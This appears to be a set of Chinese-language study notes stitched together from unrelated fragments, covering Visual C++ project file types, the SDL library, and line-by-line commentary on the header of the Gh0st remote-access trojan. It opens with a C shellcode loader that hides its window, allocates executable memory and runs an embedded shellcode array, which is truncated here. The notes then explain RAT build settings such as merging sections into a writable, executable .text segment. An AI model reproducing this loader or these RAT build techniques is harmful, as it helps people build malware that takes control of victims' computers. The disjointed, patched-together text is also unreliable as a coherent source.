#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"") // 不显示窗口
unsigned char shellcode[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\......";
int main()
{
LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (Memory == NULL)
{
return 0;
}
memcpy(Memory, shellcode, sizeof(shellcode));
((void (*)())Memory)();
}
远程控制
windows android IOS Linux
VC++的工程文件说明:
*。dsp:是VC++的项目文件,文本格式。
*。dsw:是工作区文件,它可以指向一个或多个。dsp文件。
*。clw:是 ClassWizard信息文件,实际上是INI文件的格式。
*。opt:工程关于开发环境的参数文件,如工具条位置等信息。
*。aps:(AppStudio File),资源辅助文件,二进制格式。
*。rc:资源文件。
*。plg:是编译信息文件,编译时的error和warning信息文件,在Tools->Options里面有个选项可以控制这个文件的生成。
*。hpj:(Help Project)是生成帮助文件的工程,用microsfot Help Compiler可以处理。
*。mdp:(Microsoft DevStudio Project)是旧版本的项目文件,如果要打开此文件的话,会提示你是否转换成新的DSP格式。
*。bsc:是用于浏览项目信息的,如果用Source Brower的话就必须有这个文件。如果不用这个功能的话,可以在Project Options里面去掉Generate Browse Info File,可以加快编译速度。
*。map:是执行文件的映像信息纪录文件,除非对系统底层非常熟悉,这个文件一般用不着。
*。pch:(Pre-Compiled File)是预编译文件,可以加快编译速度,但是文件非常大。
*。pdb:(Program Database)记录了程序有关的一些数据和调试信息,在调试的时候可能有用。
*。exp:只有在编译DLL的时候才会生成,记录了DLL文件中的一些信息。
一般也没什么用。
*。ncb:无编译浏览文件(no compile browser)。当自动完成功能出问题时可以删除此文件,build后会自动生成。
*。c:源代码文件,按C语言用法编译处理。
*。cpp:源代码文件,按C++语法编译处理。
SDL(Simple DirectMedia Layer)是一套开放源代码的跨平台多媒体开发库,
使用C语言写成。
SDL提供了数种控制图像、声音、输出入的函数,
让开发者只要用相同或是相似的代码就可以开发出跨多个平台(Linux、Windows、Mac OS X等)的应用软件。
AES
https://blog.csdn.net/m0_47533197/article/details/123955746
#if !defined(AFX_GH0ST_H__C0496689_B41C_45DE_9F46_75A916C86D38__INCLUDED_)
是一种防止头文件被重复包含的格式1。它的作用是检查AFX_GH0ST_H__C0496689_B41C_45DE_9F46_75A916C86D38__INCLUDED_这个宏是否已经定义过,如果没有,就定义它,并包含头文件的内容。
如果已经定义过,就跳过头文件的内容,避免重复编译1。这个宏名通常是由随机生成的数字和字母组成,以保证唯一性1。这种格式也可以写成#pragma once2,
但是#pragma once不是标准的预处理指令,
而#if !defined是标准的预处理指令2。
使用了预编译头文件stdafx.h来加速编译过程
#include “StdAfx.h” //这一行表示包含预编译头文件stdafx.h,它必须是每个cpp文件的第一个包含的文件12。stdafx.h里面通常包含了一些常用的库或者头文件,例如windows.h,stdlib.h等。这样可以避免每次编译都要重新解析这些头文件,提高编译效率。
#pragma comment(linker, “/defaultlib:msvcrt.lib /opt:nowin98 /IGNORE:4078 /MERGE:.rdata=.text /MERGE:.data=.text /section:.text,ERW”) //这一行表示给链接器传递一些参数,具体的含义如下: // /defaultlib:msvcrt.lib 表示使用msvcrt.lib作为默认的运行时库,它是一个动态链接库,提供了C语言的标准函数3。 // /opt:nowin98 表示不支持Windows 98或者更低版本的操作系统4。 // /IGNORE:4078 表示忽略4078号警告,这个警告是关于输入段太多的问题。 // /MERGE:.rdata=.text /MERGE:.data=.text 表示合并.rdata和.data段到.text段,这样可以减少可执行文件的大小。 // /section:.text,ERW 表示设置.text段的属性为可执行、可读、可写。
#include “resource.h” //这一行表示包含资源文件resource.h,它是由Visual Studio自动生成的,里面定义了一些资源的标识符,例如图标、菜单、对话框等。
#include <windows.h> //这一行表示包含Windows API的头文件windows.h,它提供了访问Windows操作系统功能的函数和数据结构。
#include <stdlib.h> //这一行表示包含C标准库的头文件stdlib.h,它提供了一些常用的函数和宏,例如内存分配、字符串转换、随机数生成等。
#include <Aclapi.h> //这一行表示包含Windows安全API的头文件Aclapi.h,它提供了一些函数和数据结构来管理访问控制列表(ACL)。
#include <lm.h> //这一行表示包含Windows网络API的头文件lm.h,它提供了一些函数和数据结构来管理本地或者远程计算机上的网络资源。
#include <Shlwapi.h> //这一行表示包含Windows Shell API的头文件Shlwapi.h,它提供了一些函数和数据结构来处理路径、注册表、字符串等。
#pragma comment(lib, “NetApi32.lib”) //这一行表示告诉链接器自动链接NetApi32.lib库,它是Windows网络API的实现库。
#include “decode.h” //这一行表示包含自定义的头文件decode.h,它可能定义了一些解码相关的函数或者数据结构。
#include “RegEditEx.h” //这一行表示包含自定义的头文件RegEditEx.h,它可能定义了一些扩展的注册表操作相关的函数或者数据结构。
#include <shellapi.h> //这一行表示包含Windows Shell API的另一个头文件shellapi.h,它提供了一些函数和数据结构来处理Shell命令、拖放操作、通知图标等。
#pragma comment(lib, “shell32.lib”) //这一行表示告诉链接器自动链接shell32.lib库,它是Windows Shell API的实现库
您的编译器报告找不到 <sys/socket.h> 头文件。这通常意味着您的系统中缺少该头文件或者编译器无法在标准库目录中找到它。
如果您使用的是 Windows 操作系统,那么 <sys/socket.h> 头文件可能不可用,因为它是针对类 Unix 系统(如 Linux 和 macOS)设计的。在 Windows 系统上,您可以使用 <winsock2.h> 头文件来进行套接字编程。
如果您使用的是类 Unix 系统,那么您可以检查 /usr/include/sys 目录下是否存在 socket.h 文件。如果该文件不存在,您可能需要安装相关的开发包,例如在基于 Debian 的 Linux 系统上,您可以使用 apt-get install libc6-dev 命令来安装。